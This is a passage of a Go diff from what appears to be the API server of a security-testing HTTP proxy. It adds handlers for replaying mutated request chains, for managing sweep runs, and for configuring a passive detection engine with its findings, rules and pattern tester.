return
}
p, err := chain.ProposeBinding(c, req.FromStep, string(value), chain.BindOptions{
Occurrence: req.Occurrence,
Source: req.Source,
ToSteps: req.ToSteps,
Spans: req.Spans,
})
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
fresh := make([]chain.Binding, 0, len(p.Targets))
for _, t := range p.Targets {
fresh = append(fresh, t.Binding)
}
keyed := assignBindingIDs(c.Bindings, fresh)
existing := map[string]bool{}
for _, b := range c.Bindings {
existing[bindingKey(b)] = true
}
out := make([]map[string]any, 0, len(keyed))
for i, b := range keyed {
out = append(out, map[string]any{
"binding": b,
"isNew": !existing[bindingKey(b)],
"conflict": p.Targets[i].Conflict,
"note": p.Targets[i].Note,
})
}
writeJSON(w, http.StatusOK, map[string]any{
"var": p.Var,
"recorded": base64.StdEncoding.EncodeToString([]byte(p.Recorded)),
"sources": p.Sources,
"proposed": out,
"warnings": p.Warnings,
})
}
// handleChainStepResponse returns a step's recorded response, decoded.
//
// Decoded here, not in the client: ReadResponse is also what the sources this
// pane produces are evaluated against, so a TypeScript decoder would be a second
// answer to what the step returned. On demand, because chainBody already ships
// every step's raws and a decoded copy would double every chain GET.
func (s *APIServer) handleChainStepResponse(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
st, _, ok := c.StepByID(r.PathValue("stepId"))
if !ok {
writeError(w, http.StatusNotFound, "no such step")
return
}
resp := httptools.ReadResponse(st.RespRaw)
writeJSON(w, http.StatusOK, map[string]any{
"status": resp.Status,
"headers": base64.StdEncoding.EncodeToString(chainHeaderBytes(resp)),
"body": base64.StdEncoding.EncodeToString(resp.Body),
// Verbatim from the parser, so a body this could not decode says which
// encoding defeated it rather than rendering as broken text.
"decoded": resp.Decoded,
"bodyLen": len(resp.Body),
})
}
// chainHeaderBytes re-serializes a parsed response's status line and headers.
// A regex or between source resolves against headers too, so they have to be
// selectable in the pane.
func chainHeaderBytes(resp httptools.Response) []byte {
var b strings.Builder
fmt.Fprintf(&b, "HTTP/1.1 %d\r\n", resp.Status)
names := make([]string, 0, len(resp.Header))
for name := range resp.Header {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
for _, v := range resp.Header.Values(name) {
fmt.Fprintf(&b, "%s: %s\r\n", name, v)
}
}
return []byte(b.String())
}
+281
View File
@@ -0,0 +1,281 @@
package api
import (
"context"
"encoding/base64"
"fmt"
"net/http"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/chainrun"
"github.com/BishopFox/joro/internal/proxy"
)
// chainRunRequest starts a sweep. A single-variant run is a sweep of one, which
// is why there is one endpoint and one runner rather than two of each.
type chainRunRequest struct {
ChainID string `json:"chainId"`
Kinds []string `json:"kinds"`
// VariantIDs narrows a sweep to specific variants, for re-running one row of
// a grid without re-running the whole thing. The baseline is always included
// regardless: it is the comparison basis, and a run without it has nothing
// to compare against.
VariantIDs []string `json:"variantIds,omitempty"`
AllowStateChanging bool `json:"allowStateChanging"`
DelayMs int `json:"delayMs"`
TimeoutMs int `json:"timeoutMs"`
BudgetMs int `json:"budgetMs"`
}
func (s *APIServer) handleChainRunStart(w http.ResponseWriter, r *http.Request) {
var req chainRunRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
ch := s.chainStore.Get(req.ChainID)
if ch == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
variants := chain.GenerateVariants(ch, req.Kinds)
if len(req.VariantIDs) > 0 {
variants = filterVariants(variants, req.VariantIDs)
}
cfg := chainrun.Config{
ChainID: ch.ID,
Chain: ch,
Variants: variants,
AllowStateChanging: req.AllowStateChanging,
DelayMs: req.DelayMs,
TimeoutMs: req.TimeoutMs,
BudgetMs: req.BudgetMs,
}
total, err := chainrun.Plan(cfg)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// One at a time, globally. Two sweeps against one application interleave on
// its own state and both produce verdicts describing the interleaving. This
// refuses rather than queueing, because a queue would hide the constraint
// behind a wait and the operator would never learn why it exists. The claim
// and the insert are one operation, so two requests cannot both pass.
run := chainrun.NewRun(proxy.GenerateID(), cfg, total)
if running := s.chainRuns.AddIfIdle(run); running != nil {
writeError(w, http.StatusConflict,
fmt.Sprintf("a run of %q is already in flight; stop it before starting another", running.ChainName))
return
}
deps := chainrun.Deps{Send: s.specSendDeps(), Broadcast: s.hub.Broadcast()}
// context.Background, not the request's: a sweep outlives the HTTP call that
// started it.
go chainrun.Execute(context.Background(), run, deps)
writeJSON(w, http.StatusCreated, map[string]any{
"runId": run.ID, "total": total, "variants": len(variants),
"warnings": s.chainRunWarnings(ch, variants, total),
})
}
// filterVariants narrows a generated set, always keeping the baseline.
func filterVariants(all []chain.Variant, ids []string) []chain.Variant {
want := make(map[string]bool, len(ids))
for _, id := range ids {
want[id] = true
}
out := make([]chain.Variant, 0, len(ids)+1)
for _, v := range all {
if v.Kind == chain.VariantBaseline || want[v.ID] {
out = append(out, v)
}
}
return out
}
// chainRunWarnings reports what a sweep is about to do, before it does it.
//
// The request count is the number an operator is surprised by: a seven-step
// checkout with three mutation kinds is not seven requests, it is most of a
// hundred, and a dozen of them are real POSTs to a payment endpoint.
func (s *APIServer) chainRunWarnings(ch *chain.Chain, variants []chain.Variant, total int) []string {
out := []string{}
if methods := chain.StateChangingMethods(ch); len(methods) > 0 {
var targets []string
seen := map[string]bool{}
for _, st := range ch.Steps {
m := chain.MethodOf(st.ReqRaw)
if m == "" || m == "GET" || m == "HEAD" || m == "OPTIONS" {
continue
}
key := m + " " + chain.TargetOf(st.ReqRaw)
if !seen[key] {
seen[key] = true
targets = append(targets, st.Label)
}
}
if len(targets) > 3 {
targets = append(targets[:3], fmt.Sprintf("and %d more", len(targets)-3))
}
out = append(out, fmt.Sprintf(
"%d variants will send %d requests, including %s to %s — each variant repeats these for real",
len(variants), total, strings.Join(methods, "/"), strings.Join(targets, ", ")))
} else {
out = append(out, fmt.Sprintf("%d variants will send %d requests", len(variants), total))
}
if s.settings.InterceptEnabled {
out = append(out, fmt.Sprintf(
"request intercept is armed, so all %d requests will pause in the Intercept queue", total))
}
if total > 500 {
out = append(out, fmt.Sprintf(
"%d requests will be captured into History, which may evict older traffic from the capture buffer", total))
}
return out
}
// handleChainPlan reports what a sweep would do without starting it, so the
// warnings and the request count can be shown beside the arming checkbox rather
// than only after the operator has committed.
func (s *APIServer) handleChainPlan(w http.ResponseWriter, r *http.Request) {
ch := s.chainStore.Get(r.PathValue("id"))
if ch == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
kinds := strings.Split(r.URL.Query().Get("kinds"), ",")
variants := chain.GenerateVariants(ch, kinds)
total, err := chain.Plan(ch, variants)
resp := map[string]any{
"variants": variants,
"total": total,
"warnings": s.chainRunWarnings(ch, variants, total),
"methods": chain.StateChangingMethods(ch),
}
if err != nil {
resp["error"] = err.Error()
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleChainListRuns(w http.ResponseWriter, r *http.Request) {
runs := s.chainRuns.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
out = append(out, chainRunHead(run))
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func chainRunHead(run *chainrun.Run) map[string]any {
completed, errs, unresolved, bypassed := run.Counts()
return map[string]any{
"id": run.ID, "chainId": run.ChainID, "chainName": run.ChainName,
"status": string(run.Status()), "total": run.Total, "stride": run.Stride,
"completed": completed, "errors": errs, "unresolved": unresolved, "bypassed": bypassed,
"createdAt": run.CreatedAt,
}
}
func (s *APIServer) handleChainGetRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
results := run.Results()
offset, limit := pageParams(r, len(results))
// Materialized, never nil: a nil slice marshals as null against a client
// type that says array. See chain.Chain.Normalize.
page := []chainrun.Result{}
if offset < len(results) {
end := min(offset+limit, len(results))
page = results[offset:end]
}
body := chainRunHead(run)
body["steps"] = run.Steps
body["variants"] = run.Variants
body["verdicts"] = run.Verdicts()
body["results"] = page
body["resultTotal"] = len(results)
body["offset"] = offset
body["limit"] = limit
writeJSON(w, http.StatusOK, body)
}
func (s *APIServer) handleChainGetGrid(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
writeJSON(w, http.StatusOK, chainrun.Grid(run))
}
// handleChainGetResult returns one instance including its raw bytes, fetched on
// demand rather than streamed, as the fuzzer's and sj's detail endpoints are.
func (s *APIServer) handleChainGetResult(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
idx, err := strconv.Atoi(r.PathValue("index"))
if err != nil {
writeError(w, http.StatusBadRequest, "index must be a number")
return
}
res, ok := run.ResultAt(idx)
if !ok {
writeError(w, http.StatusNotFound, "no such result")
return
}
reqRaw, respRaw := res.ReqRaw, res.RespRaw
res.ReqRaw, res.RespRaw = nil, nil
writeJSON(w, http.StatusOK, map[string]any{
"result": res,
"reqRaw": base64.StdEncoding.EncodeToString(reqRaw),
"respRaw": base64.StdEncoding.EncodeToString(respRaw),
})
}
func (s *APIServer) handleChainStopRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleChainDeleteRun(w http.ResponseWriter, r *http.Request) {
run := s.chainRuns.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == chainrun.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.chainRuns.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
File diff suppressed because it is too large. Load diff
+18 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetCustomDataEnabled(w http.ResponseWriter, r *http.Re
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -36,7 +35,7 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
Name string `json:"name"`
Value string `json:"value"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -57,6 +56,22 @@ func (s *APIServer) handleAddCustomDataItem(w http.ResponseWriter, r *http.Reque
writeJSON(w, http.StatusCreated, item)
}
func (s *APIServer) handleSetCustomDataItemEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.customData.SetItemEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "item not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteCustomDataItem(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.customData.RemoveItem(id) {
+705
View File
@@ -0,0 +1,705 @@
package api
import (
"encoding/base64"
"encoding/json"
"net/http"
"regexp"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
)
// detectAvailable rejects requests when detection is not wired, as in listener
// and team-server mode. The routes are also behind the proxy-mode gate in
// registerRoutes.
func (s *APIServer) detectAvailable(w http.ResponseWriter) bool {
if s.detectEngine == nil || s.detectFindings == nil || s.detectScanner == nil {
writeError(w, http.StatusNotFound, "detection is unavailable in this mode")
return false
}
return true
}
// ruleEnabledFunc returns a predicate for filtering findings by whether their
// rule is currently switched on. Findings from a disabled rule are retained,
// not deleted.
func (s *APIServer) ruleEnabledFunc() func(string) bool {
return s.detectEngine.RuleEnabledFunc()
}
// handleGetDetect returns the overall detection state for the page header.
func (s *APIServer) handleGetDetect(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
rules := s.detectEngine.Rules()
active := 0
for _, rule := range rules {
if rule.Enabled {
active++
}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.detectEngine.IsEnabled(),
"config": s.detectEngine.Config(),
"summary": s.detectFindings.Summary(s.ruleEnabledFunc()),
"scan": s.detectScanner.Status(),
"cursor": s.detectScanner.Cursor(),
"ruleCount": len(rules),
"activeRules": active,
})
}
// handleSetDetectEnabled toggles passive detection.
func (s *APIServer) handleSetDetectEnabled(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.detectEngine.SetEnabled(body.Enabled)
if body.Enabled {
// Catch up on anything captured while detection was off.
s.detectScanner.Wake()
}
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// handleGetDetectConfig returns the engine configuration.
func (s *APIServer) handleGetDetectConfig(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.detectEngine.Config())
}
// detectConfigPatch mirrors detect.Config with pointer fields so a PUT can carry
// any subset without zeroing the rest.
type detectConfigPatch struct {
ScopeOnly *bool `json:"scopeOnly"`
ScanRequests *bool `json:"scanRequests"`
PersistFindings *bool `json:"persistFindings"`
ClearFindingsWithHistory *bool `json:"clearFindingsWithHistory"`
MaxBodyScanBytes *int `json:"maxBodyScanBytes"`
MaxRequestBodyScanBytes *int `json:"maxRequestBodyScanBytes"`
SkipContentTypes *[]string `json:"skipContentTypes"`
SkipExtensions *[]string `json:"skipExtensions"`
ExcludeHosts *[]string `json:"excludeHosts"`
AnomalyEnabled *bool `json:"anomalyEnabled"`
AnomalySensitivity *string `json:"anomalySensitivity"`
}
// handleSetDetectConfig applies a partial configuration update.
func (s *APIServer) handleSetDetectConfig(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var patch detectConfigPatch
if err := decodeJSON(r, &patch); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
cfg := s.detectEngine.Config()
if patch.ScopeOnly != nil {
cfg.ScopeOnly = *patch.ScopeOnly
}
if patch.ScanRequests != nil {
cfg.ScanRequests = *patch.ScanRequests
}
if patch.PersistFindings != nil {
cfg.PersistFindings = *patch.PersistFindings
}
if patch.ClearFindingsWithHistory != nil {
cfg.ClearFindingsWithHistory = *patch.ClearFindingsWithHistory
}
if patch.MaxBodyScanBytes != nil {
cfg.MaxBodyScanBytes = *patch.MaxBodyScanBytes
}
if patch.MaxRequestBodyScanBytes != nil {
cfg.MaxRequestBodyScanBytes = *patch.MaxRequestBodyScanBytes
}
if patch.SkipContentTypes != nil {
cfg.SkipContentTypes = *patch.SkipContentTypes
}
if patch.SkipExtensions != nil {
cfg.SkipExtensions = *patch.SkipExtensions
}
if patch.ExcludeHosts != nil {
cfg.ExcludeHosts = *patch.ExcludeHosts
}
if patch.AnomalyEnabled != nil {
cfg.AnomalyEnabled = *patch.AnomalyEnabled
}
if patch.AnomalySensitivity != nil {
cfg.AnomalySensitivity = *patch.AnomalySensitivity
}
s.detectEngine.SetConfig(cfg)
writeJSON(w, http.StatusOK, s.detectEngine.Config())
}
// splitCSV parses a comma-separated query parameter, dropping empties.
func splitCSV(v string) []string {
if strings.TrimSpace(v) == "" {
return nil
}
parts := strings.Split(v, ",")
out := make([]string, 0, len(parts))
for _, p := range parts {
if t := strings.TrimSpace(p); t != "" {
out = append(out, t)
}
}
return out
}
// findingFilterFromQuery builds a filter from the query string.
func findingFilterFromQuery(r *http.Request) detect.FindingFilter {
q := r.URL.Query()
f := detect.FindingFilter{
Severities: splitCSV(q.Get("severity")),
MinSeverity: q.Get("minSeverity"),
Categories: splitCSV(q.Get("category")),
RuleID: q.Get("ruleId"),
Host: q.Get("host"),
Search: q.Get("search"),
Confidence: q.Get("confidence"),
FP: q.Get("fp"),
IncludeDisabled: q.Get("includeDisabled") == "true",
Sort: q.Get("sort"),
Dir: q.Get("dir"),
Limit: 100,
}
if v, err := strconv.Atoi(q.Get("offset")); err == nil && v >= 0 {
f.Offset = v
}
if q.Has("limit") {
if v, err := strconv.Atoi(q.Get("limit")); err == nil {
// limit=0 means "all", consistent with the requests endpoint.
f.Limit = v
}
}
return f
}
// handleListFindings returns a filtered, paginated page of findings.
func (s *APIServer) handleListFindings(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
f := findingFilterFromQuery(r)
items, total := s.detectFindings.List(f, s.ruleEnabledFunc())
writeJSON(w, http.StatusOK, map[string]any{
"items": detect.Summaries(items),
"total": total,
"offset": f.Offset,
"limit": f.Limit,
})
}
// handleGetFinding returns one finding with its occurrences. Each occurrence
// reports whether the referenced request is still in the ring buffer; the
// finding itself survives eviction, since its evidence is self-contained.
func (s *APIServer) handleGetFinding(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
f, ok := s.detectFindings.Get(r.PathValue("id"))
if !ok {
writeError(w, http.StatusNotFound, "finding not found")
return
}
type occurrence struct {
RequestID string `json:"requestId"`
Seq int `json:"seq"`
Method string `json:"method"`
URL string `json:"url"`
StatusCode int `json:"statusCode"`
Timestamp string `json:"timestamp"`
Offset int `json:"offset"`
Part string `json:"part"`
RequestPresent bool `json:"requestPresent"`
}
occs := make([]occurrence, 0, len(f.Occurrences))
for _, o := range f.Occurrences {
present := false
if s.store != nil && o.RequestID != "" {
present = s.store.Get(o.RequestID) != nil
}
occs = append(occs, occurrence{
RequestID: o.RequestID, Seq: o.Seq, Method: o.Method, URL: o.URL,
StatusCode: o.StatusCode, Timestamp: o.Timestamp.Format(timeFormat),
Offset: o.Offset, Part: o.Part, RequestPresent: present,
})
}
// Included so the detail pane can render description and remediation without
// a second request.
var rule any
if rr, found := s.detectEngine.Rule(f.RuleID); found {
rule = rr
}
writeJSON(w, http.StatusOK, map[string]any{
"finding": detect.Summaries([]detect.Finding{f})[0],
"notes": f.Notes,
"occurrences": occs,
"rule": rule,
})
}
// timeFormat matches the format used by the history handlers.
const timeFormat = "2006-01-02T15:04:05.000Z"
// handleUpdateFinding applies operator triage: a false-positive mark, a note, or
// a severity override. Any subset may be supplied.
func (s *APIServer) handleUpdateFinding(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var body struct {
FalsePositive *bool `json:"falsePositive"`
Notes *string `json:"notes"`
Severity *string `json:"severity"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
var sev *detect.Severity
if body.Severity != nil {
v := detect.Severity(strings.ToLower(*body.Severity))
if !v.Valid() {
writeError(w, http.StatusBadRequest, "unknown severity")
return
}
sev = &v
}
f, ok := s.detectFindings.Update(r.PathValue("id"), body.FalsePositive, body.Notes, sev)
if !ok {
writeError(w, http.StatusNotFound, "finding not found")
return
}
s.broadcastDetectSummary()
writeJSON(w, http.StatusOK, detect.Summaries([]detect.Finding{f})[0])
}
// handleDeleteFinding removes one finding.
func (s *APIServer) handleDeleteFinding(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
id := r.PathValue("id")
if !s.detectFindings.Delete(id) {
writeError(w, http.StatusNotFound, "finding not found")
return
}
s.broadcastDetectSummary()
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
// handleClearFindings deletes all findings, or only the false-positive ones when
// ?fp=true is supplied.
func (s *APIServer) handleClearFindings(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var n int
if r.URL.Query().Get("fp") == "true" {
n = s.detectFindings.DeleteFalsePositives()
} else {
n = s.detectFindings.Clear()
}
s.hub.Broadcast() <- event.WSEvent{
Type: "detect.findings.cleared",
Data: map[string]any{"deleted": n},
}
s.broadcastDetectSummary()
writeJSON(w, http.StatusOK, map[string]any{"deleted": n})
}
// broadcastDetectSummary pushes updated aggregate counts.
func (s *APIServer) broadcastDetectSummary() {
if s.hub == nil || s.detectFindings == nil {
return
}
s.hub.Broadcast() <- event.WSEvent{
Type: "detect.summary",
Data: s.detectFindings.Summary(s.ruleEnabledFunc()),
}
}
// broadcastDetectRules notifies clients that the rule set changed.
func (s *APIServer) broadcastDetectRules() {
if s.hub == nil || s.detectEngine == nil {
return
}
rules := s.detectEngine.Rules()
builtin, user, active := 0, 0, 0
for _, r := range rules {
if r.Builtin {
builtin++
} else {
user++
}
if r.Enabled {
active++
}
}
s.hub.Broadcast() <- event.WSEvent{
Type: "detect.rules.changed",
Data: map[string]any{
"builtinCount": builtin, "userCount": user, "activeCount": active,
},
}
}
// handleListDetectRules returns every rule, built-in and custom, as one list.
func (s *APIServer) handleListDetectRules(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
q := r.URL.Query()
cats := splitCSV(q.Get("category"))
sevs := splitCSV(q.Get("severity"))
origin := q.Get("builtin")
state := q.Get("enabled")
search := strings.ToLower(q.Get("search"))
all := s.detectRulesWithCounts()
out := make([]detectRuleView, 0, len(all))
builtin, user, active := 0, 0, 0
for _, rule := range all {
if rule.Builtin {
builtin++
} else {
user++
}
if rule.Enabled {
active++
}
if len(cats) > 0 && !containsFoldStr(cats, string(rule.Category)) {
continue
}
if len(sevs) > 0 && !containsFoldStr(sevs, string(rule.Severity)) {
continue
}
if origin == "true" && !rule.Builtin {
continue
}
if origin == "false" && rule.Builtin {
continue
}
if state == "true" && !rule.Enabled {
continue
}
if state == "false" && rule.Enabled {
continue
}
if search != "" &&
!strings.Contains(strings.ToLower(rule.Name), search) &&
!strings.Contains(strings.ToLower(rule.ID), search) &&
!strings.Contains(strings.ToLower(rule.Description), search) {
continue
}
out = append(out, rule)
}
writeJSON(w, http.StatusOK, map[string]any{
"rules": out,
"builtinCount": builtin,
"userCount": user,
"activeCount": active,
"categories": detect.AllCategories(),
"postFilters": detect.PostFilterNames(),
})
}
// detectRuleView is a rule plus its current finding count.
type detectRuleView struct {
detect.Rule
FindingCount int `json:"findingCount"`
}
// detectRulesWithCounts joins the rule list with per-rule finding counts.
func (s *APIServer) detectRulesWithCounts() []detectRuleView {
counts := map[string]int{}
for _, f := range s.detectFindings.All() {
counts[f.RuleID]++
}
rules := s.detectEngine.Rules()
out := make([]detectRuleView, 0, len(rules))
for _, r := range rules {
out = append(out, detectRuleView{Rule: r, FindingCount: counts[r.ID]})
}
return out
}
// containsFoldStr reports whether list contains v, case-insensitively.
func containsFoldStr(list []string, v string) bool {
for _, item := range list {
if strings.EqualFold(item, v) {
return true
}
}
return false
}
// handleAddDetectRule creates a custom rule.
func (s *APIServer) handleAddDetectRule(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var rule detect.Rule
if err := decodeJSON(r, &rule); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
created, err := s.detectEngine.AddRule(rule)
if err != nil {
// Surface the RE2 error text verbatim.
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.broadcastDetectRules()
writeJSON(w, http.StatusCreated, created)
}
// handleUpdateDetectRule replaces a custom rule, preserving its ID. Unlike the
// other rule collections, delete-and-recreate is not equivalent here: the ID is
// referenced by every finding the rule produced.
func (s *APIServer) handleUpdateDetectRule(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var rule detect.Rule
if err := decodeJSON(r, &rule); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
updated, err := s.detectEngine.UpdateRule(r.PathValue("id"), rule)
if err != nil {
s.writeRuleError(w, err)
return
}
s.broadcastDetectRules()
writeJSON(w, http.StatusOK, updated)
}
// writeRuleError maps engine rule errors to status codes.
func (s *APIServer) writeRuleError(w http.ResponseWriter, err error) {
switch err {
case detect.ErrBuiltinImmutable:
// Built-ins accept only an enabled toggle and a severity override.
writeError(w, http.StatusForbidden, err.Error())
case detect.ErrRuleNotFound:
writeError(w, http.StatusNotFound, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
// handleSetDetectRuleEnabled toggles any rule, built-in or custom.
func (s *APIServer) handleSetDetectRuleEnabled(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
id := r.PathValue("id")
if err := s.detectEngine.SetRuleEnabled(id, body.Enabled); err != nil {
s.writeRuleError(w, err)
return
}
s.broadcastDetectRules()
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
// handleSetDetectRuleSeverity overrides a rule's severity. Allowed on built-ins.
func (s *APIServer) handleSetDetectRuleSeverity(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var body struct {
Severity string `json:"severity"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
id := r.PathValue("id")
if err := s.detectEngine.SetRuleSeverity(id, detect.Severity(strings.ToLower(body.Severity))); err != nil {
s.writeRuleError(w, err)
return
}
s.broadcastDetectRules()
writeJSON(w, http.StatusOK, map[string]any{"id": id, "severity": body.Severity})
}
// handleResetDetectRule clears operator overrides on a built-in rule.
func (s *APIServer) handleResetDetectRule(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
id := r.PathValue("id")
if err := s.detectEngine.ResetRule(id); err != nil {
s.writeRuleError(w, err)
return
}
s.broadcastDetectRules()
rule, _ := s.detectEngine.Rule(id)
writeJSON(w, http.StatusOK, rule)
}
// handleDeleteDetectRule removes a custom rule.
func (s *APIServer) handleDeleteDetectRule(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
id := r.PathValue("id")
if err := s.detectEngine.RemoveRule(id); err != nil {
s.writeRuleError(w, err)
return
}
s.broadcastDetectRules()
writeJSON(w, http.StatusOK, map[string]string{"deleted": id})
}
// maxRuleTestSample bounds the pattern-tester input.
const maxRuleTestSample = 1 << 20
// handleTestDetectRule compiles a pattern and reports its matches against a
// sample, so a rule can be authored without live traffic.
func (s *APIServer) handleTestDetectRule(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var body struct {
Pattern string `json:"pattern"`
Sample string `json:"sample"`
SampleB64 string `json:"sampleB64"`
CaptureGroup int `json:"captureGroup"`
MinEntropy float64 `json:"minEntropy"`
MinLength int `json:"minLength"`
}
if err := json.NewDecoder(http.MaxBytesReader(w, r.Body, maxRuleTestSample*2)).Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
re, err := regexp.Compile(body.Pattern)
if err != nil {
writeJSON(w, http.StatusOK, map[string]any{
"valid": false,
"error": err.Error(),
})
return
}
sample := []byte(body.Sample)
if body.SampleB64 != "" {
if decoded, decErr := base64.StdEncoding.DecodeString(body.SampleB64); decErr == nil {
sample = decoded
}
}
truncated := false
if len(sample) > maxRuleTestSample {
sample = sample[:maxRuleTestSample]
truncated = true
}
type match struct {
Match string `json:"match"`
Redacted string `json:"redacted"`
Offset int `json:"offset"`
Length int `json:"length"`
Entropy float64 `json:"entropy"`
Passes bool `json:"passes"`
}
const maxMatches = 50
matches := make([]match, 0, 8)
for _, loc := range re.FindAllSubmatchIndex(sample, maxMatches) {
lo, hi := loc[0], loc[1]
if g := body.CaptureGroup; g > 0 && 2*g+1 < len(loc) && loc[2*g] >= 0 {
lo, hi = loc[2*g], loc[2*g+1]
}
raw := string(sample[lo:hi])
entropy := detect.ShannonEntropy(raw)
passes := true
if body.MinLength > 0 && len(raw) < body.MinLength {
passes = false
}
if body.MinEntropy > 0 && entropy < body.MinEntropy {
passes = false
}
matches = append(matches, match{
Match: raw, Redacted: detect.RedactValue(raw), Offset: lo,
Length: hi - lo, Entropy: entropy, Passes: passes,
})
}
writeJSON(w, http.StatusOK, map[string]any{
"valid": true,
"groups": re.NumSubexp(),
"matches": matches,
"truncated": truncated,
})
}
// handleStartDetectScan begins an on-demand rescan over captured traffic.
func (s *APIServer) handleStartDetectScan(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
var req detect.RescanRequest
if r.ContentLength != 0 {
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
}
if req.Scope == "" {
req.Scope = "all"
}
// Not r.Context(): the rescan outlives this request.
status, err := s.detectScanner.StartRescan(s.detectBackgroundCtx(), req)
if err == detect.ErrScanRunning {
writeError(w, http.StatusConflict, err.Error())
return
}
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusAccepted, status)
}
// handleGetDetectScan reports rescan progress.
func (s *APIServer) handleGetDetectScan(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
writeJSON(w, http.StatusOK, s.detectScanner.Status())
}
// handleCancelDetectScan stops a running rescan.
func (s *APIServer) handleCancelDetectScan(w http.ResponseWriter, r *http.Request) {
if !s.detectAvailable(w) {
return
}
s.detectScanner.Cancel()
writeJSON(w, http.StatusOK, map[string]string{"status": "stopping"})
}
+222
View File
